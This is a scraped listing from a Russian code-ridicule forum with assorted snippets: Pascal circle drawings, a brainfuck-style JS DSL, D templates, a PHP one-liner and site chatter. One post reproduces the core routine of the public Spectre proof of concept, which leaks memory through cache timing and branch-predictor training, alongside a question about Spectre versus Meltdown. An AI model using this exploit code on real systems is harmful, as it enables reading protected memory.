- 1
$urlId = (is_numeric($urlId = explode('-', $url)[0]) ? $urlId : null);
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
0
$urlId = (is_numeric($urlId = explode('-', $url)[0]) ? $urlId : null);
−1
program voynasharov;
uses crt, graphABC;
type shar = class
col, x, y, r: integer;
pm: byte;
constructor Create (ccol, cx, cy, cr: integer);
begin
col:=ccol;
x:=cx;
y:=cy;
r:=cr;
end;
procedure make;
begin
setbrushcolor (col);
circle (x,y,r);
end;
procedure mov;
begin
pm:=random(5);
case pm of
1: x:=x+20;
2: x:=x-20;
3: y:=y-20;
4: y:=y+20;
end;
end;
end;
var first, second:shar;
begin
setwindowsize(1280,720);
first:=shar.Create(666,550,400,60);
second:=shar.Create(1488,740,300,60);
first.make;
second.make;
repeat
//clrscr;
first.mov;
second.mov;
first.make;
second.make;
delay(50);
until first.x=70;
end.
Лёгкий способ наколдовать перекатывание кругов в паскале
0
program sharokat;
uses crt, graphABC;
type shar = class
col, x, y, r: integer;
constructor Create (ccol, cx, cy, cr: integer);
begin
col:=ccol;
x:=cx;
y:=cy;
r:=cr;
end;
procedure make;
begin
setbrushcolor (col);
circle (x,y,r);
end;
end;
var my:shar;
begin
my:=shar.Create(666,100,100,60);
my.make;
end.
Лёгкий способ наколдовать круг в паскале
+1
brainfuck()
.plus .plus .plus .plus .plus .plus .plus
.plus .plus .plus .plus .plus .plus .plus
.begin
.minus.next .plus .plus .plus .plus
.plus .next .plus .plus .plus .plus
.plus .plus .next .plus .plus .plus
.plus .plus .plus .prev .prev .prev
.end
.next .plus .print.next .minus.minus.minus
.minus.minus.print.next .plus .plus .print
.prev .minus.print.plus .print.minus.minus
.minus.minus.print.plus .plus .plus .plus
.print.prev .minus.minus.minus.print
https://github.com/1024--/peetooshnya/blob/master/bfdot.js
0
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256];
int tries, i, j, k, mix_i, junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t * addr;
for (i = 0; i < 256; i++)
results[i] = 0;
for (tries = 999; tries > 0; tries--) {
/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
_mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */
/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
training_x = tries % array1_size;
for (j = 29; j >= 0; j--) {
_mm_clflush( & array1_size);
for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));
/* Call the victim! */
victim_function(x);
}
/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = & array2[mix_i * 512];
time1 = __rdtscp( & junk); /* READ TIMER */
junk = * addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}
/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
k = j;
j = i;
} else if (k < 0 || results[i] >= results[k]) {
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
value[0] = (uint8_t) j;
score[0] = results[j];
value[1] = (uint8_t) k;
score[1] = results[k];
}
Красиво. Душевно.
https://github.com/Eugnis/spectre-attack
0
Политота #3
#1: http://govnokod.ru/15804 (не открывается)
#2: http://govnokod.ru/19910
0
Давайте обсудим meltdown и spectre.
Объясните мне кто-нибудь, в чем принципиальное отличие spectre от meltdown? И как оно позволяет читать память других процессов? Все что я пока понял - это чтение памяти ядра, которое уже все прикрыли, и проблемы с жс в браузере.
0
mixin template IConvertible(Args...)
{
interface IConvertible
{
mixin template IConvertiblePrivate(T)
{
T Convert();
}
mixin template IConvertiblePrivate(TFirst, Args...)
{
TFirst Convert();
mixin IConvertiblePrivate!(Args);
}
mixin IConvertiblePrivate!(Args);
};
}
void main()
{
mixin IConvertible!(int, float);
class Number : IConvertible
{
int Convert() { return 0; }
float Convert() { return 0.0; }
};
}
#dlang
В продолжение темы дженериков и шаблонов
P.S. Проверочный код: hate
0
На сайте поломался счётчик прочитанных комментов.
Всегда показывает, что я нихера не прочитал.
0
import '/asyncio'
main = async $ loop ->
task = "Hello, {}!".format whatever where
await asyncio.sleep 1
whatever = "World"
await task
loop = asyncio.get_event_loop!
loop.run_until_complete $ main loop
http://pyos.github.io/dg/
So dynamik very hasky